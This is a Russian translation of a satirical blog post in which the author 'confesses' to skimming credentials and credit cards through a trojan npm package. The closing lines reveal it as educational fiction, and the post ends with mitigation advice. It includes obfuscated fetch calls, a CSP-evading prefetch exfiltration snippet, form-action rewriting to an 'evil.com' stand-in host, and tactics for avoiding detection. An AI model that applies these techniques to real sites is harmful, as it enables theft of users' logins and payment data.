Все последующее – чистая правда. Или же базируется на правде. Или же вообще неправда.
Прошлая неделя была посвящена горячечному поиску всяческих страшилок, связанных с безопасностью – как будто каждый день открывают какую-то новую уязвимость. Мне было по-настоящему сложно притворяться, что я знаю, в чем дело, когда семья выспрашивала у меня подробности. Видение того, как близкие люди боятся взлома, дало мне определенный угол зрения на этот вопрос.
Так что с тяжелым сердцем я решил признаться во всем и рассказать, как я крал логины, пароли и номера кредиток с ваших сайтов за последние годы.
Вредоносный код очень прост. Он лучше всего справляется на страницах, которые отвечают некоторым критериям:
- у страницы есть <form>
- элемент, соответствующий input[type=’password’] или name=’cardnumber’, или name=’cvc’, и т.д.
- страница содержит слова вроде “кредитная карта”, “чекаут”, “логин”, “пароль” и т.д.
Затем, если что-то происходит с полем “пароль/карта”, или submit, мой код:
- берет все данные изо всех полей (document.forms.forEach(…))
- собирает document.cookie
- превращает это все в рандомно выглядящую строку const payload = btoa(JSON.stringify(sensitiveUserData))
- и высылает на `https://legit-analytics.com?q=${payload}` (конечно, указан ненастоящий домен)
Когда я только написал этот код еще в 2015 году, он без пользы валялся у меня на компьютере. Мне нужно было запустить его в мир, к вашим сайтам. Согласно мудрым словам от Google: “Если атакующий успешно внедрит какой-то код, все пропало”.
XSS – слишком мелкий масштаб, да и защищен. Дополнения Chrome слишком закрыты.
На мою удачу, мы живем в то время, когда люди устанавливают npm-пакеты с такой же легкостью, как глотают обезболивающее.
Итак, моим каналом распространения должен был стать npm (Node.js Package Manager – ред.). Мне нужно было придумать что-то очень полезное, что люди ставили бы без раздумий – моего троянского коня.
Пользователям нравятся яркие цвета, так что я написал пакет, позволяющий выводить в консоль лог любого цвета (вот исходник):
Пакет вышел симпатичным, но мне не хотелось ждать, пока люди сами откроют его, поэтому я создал несколько сотен аккаунтов для PR, и начал писать в комментариях всяческим фронтенд-пакетам: “Гляньте, я пофиксил х, и также добавил цветной логин”. Так я еще и присоединился к opensource!
Оказалось, что существует множество разумных людей, которым это было не нужно, но это все – дело чисел. Ведь в целом моя кампания с цветной консолью стала успешной, и сейчас мой пакет напрямую зависим от 23 пакетов. Из них один связан с очень популярным пакетом – моей курицей, которая будет нести золотые яйца. Не буду называть имен. Это всего лишь один пакет, а я готовлю еще 6.
У меня – около 120 000 загрузок в месяц, и я с гордостью сообщаю, что мой вредный код каждодневно исполняется на тысячах сайтов, включая некоторые из топ-1000 по версии Alexa. Мне поступают потоки логинов, паролей, данных кредиток.
Оглядываясь на то золотое время, не могу поверить, что существует такой объем межсайтового скриптинга на каждом отдельном сайте. Так просто засунуть вредный код в тысячи сайтов, с небольшой помощью друзей-разработчиков.
Вы могли бы раскритиковать мое нагнетание паники этими аргументами:
- Я бы заметил исходящие сетевые запросы. Вопрос в том, когда именно? Мой код не будет высылать ничего, как только запускаются любые инструменты разработчика. Я называю это маневром Гейзенберга: пытаясь наблюдать поведение моего кода, вы меняете поведение моего кода (отсылка к принципу неопределенности Гейзенберга касательно наблюдения характеристик частиц – ред.). Мой код тише воды и тогда, когда выполняется на localhost или любом IP-адресе, или на любом домене, содержащем dev, test, qa, uat и т.д.
- Наши тестеры заметили бы это в своих инструментах мониторинга HTTP. Да, но со скольки и до скольки они на работе? Мой код ничего не высылает с 7:00 утра и до 19:00 вечера. Конечно, добычи меньше, но и риски быть пойманным за руку уменьшаются. А если я однажды уже получил данные для устройства, я это отмечаю и никогда не повторяю запрос. Даже если какой-то вдумчивый тестер постоянно чистит куки и локальную память, я высылаю эти запросы периодически и слегка нерегулярно. А мой URL выглядит примерно так же, как и 300 других запросов к рекламным сетям, которые выполняет ваш сайт. Суть в том, что если вы этого не видите, это не означает, что оно не происходит. Прошло уже два года и насколько я знаю, никто меня пока не заметил.
- Я бы заметил это в твоих исходниках на GitHub. Но ведь никто не мешает закинуть одну версию кода на GitHub, а вторую – в npm. В package.json я прописал принадлежность файлов к /lib directory, содержащему вредный код – именно это я и буду высылать в npm. Но сама библиотека – в моем .gitignore, это – довольно распространенная практика, так что вам ничто не покажется подозрительным. Даже если я не раздаю разные версии в npm и GitHub, кто сказал, что то, что вы видите в /lib/package.min.js – это настоящий результат minifying /src/package.js?
-
Я читаю миницифированные исходники всего кода в модулях node_modules! Так, сейчас вы просто начинаете выдумывать возращения. Но, возможно, вы просто написали что-то умное для автоматической проверки кода на подозрительные вещи. Вы все равно ничего не найдете. В моем коде нет совпадений по домену, на который высылаются данные, или XMLHttpRequest, он выглядит так:
1 const i = ‘gfudi’;
2 const k = s => s.split(‘’).map(c => String.fromCharCode(c.charCodeAt() – 1)).join(‘’);
3 self[k(i)](urlWithYourPreciousData); Здесь gfudi – это то же зашифрованное слово fetch, где каждая буква сдвинута на одну позицию в алфавите (нешутейные криптографические навыки). self на самом деле обозначает “окно”. Так что self[‘\u0066\u0065\u0074\u0063\u0068’](…) – это еще один способ написать fetch(…). Отмечу, что на самом деле я не использую ничего столь банального, как fetch, мне больше нравится EventSource(urlWithYourPreciousData). Таким образом, даже если вы – параноик и мониторите исходящие запросы с помощью serviceWorker, я останусь незамеченным. -
У меня есть политика безопасности контента (CSP). Разве это помешает вредоносному коду высылать данные? Ниже идут четыре строчки кода, которые проскользнут сквозь любые жесткие правила:
1 const linkEl = document.createElement(‘link’);
2 linkEl.rel = ‘prefetch’;
3 linkEl.href = urlWithYourPreciousData;
4 document.head.appendChild(linkEl);Но CSP не полностью бесполезны. Код выше работает только в Chrome и качественный CSP мог бы заблокировать мои усилия в менее популярных браузерах. CSP может попытаться ограничивать то, какие именно сетевые запросы выполняются из браузера. Если я попытаюсь выслать данные с сайта, где есть CSP, он в свою очередь попытается уведомить владельца сайта о неудачной попытке запроса (если в нем указан report-uri). Поскольку я не хочу привлекать внимания, я проверю ваш CSP, прежде чем пытаться что-то выслать. Для этого я сфабрикую запрос к текущей странице и прочту хедеры.
1 fetch(document.location.href)
2 .then(resp => {
3 const csp = resp.headers.get(‘Content-Security-Policy’);
4 // does this exist? Is is any good?
5 });На этом этапе я могу поискать дыры в вашем CSP. К примеру, у страницы логина Google – довольно плохой CSP, он позволит мне получить и ваш логин, и ваш пароль. Они не настроили connect-src и default-src. У Amazon вообще нет CSP на странице, куда вы вбиваете номер своей кредитки, как и у eBay. У Twitter и PayPal есть CSP, но и в этом случае украсть данные довольно просто. Они допустили одну и ту же ошибку. Они настроили catch-all default-src, но и там есть дыры: они не заблокировали действия с form action. Так что, если я проверяю ваш CSP и вижу, что так и есть, я просто меняю атрибут action во всех ваших формах с помощью Array.from(document.forms).forEach(formEl => formEl.action = ‘//evil.com/bounce-form’); Этот трюк лучше использовать один раз для каждого устройства.
И как этого избежать?
Вариант 1. Уехать в уединенный домик в лесу.
Вариант 2. Не используйте npm-модули на любой странице, собирающей пользовательские данные. Или Google Tag Manager, или код рекламных сетей, или код аналитики – любой код, который не ваш. Возможно, вам стоит подумать о том, чтобы использовать специально выделенные легкие страницы iFrame для авторизации и сбора данных о картах.
Можно продолжать пользоваться старым-добрым React-приложением со 138 npm-пакетами для header/footer/nav/ – где угодно. Но кусок сайта, куда ваш пользователь вбивает данные, должен быть песочницей iFrame и работать только на JavaScript собственного написания, если вы хотите валидировать данные пользователь на своей стороне.
Скоро я запощу отчет за 2017 год, где укажу свои доходы от кражи номеров кредитных карт и продажи их гангстерам.
Замечание: Понимаю, что мой неустанный сарказм может кого-то выбесить, особенно – людей, которые все еще учат английский. Просто, чтобы пояснить: я не писал npm-пакет, крадущий информацию. Этот пост – выдумка от начала и до конца, но полностью реализуемая. Я написал это в образовательных целях. Позже, в следующем посте я укажу, как избежать этих рисков с минимальными затратами.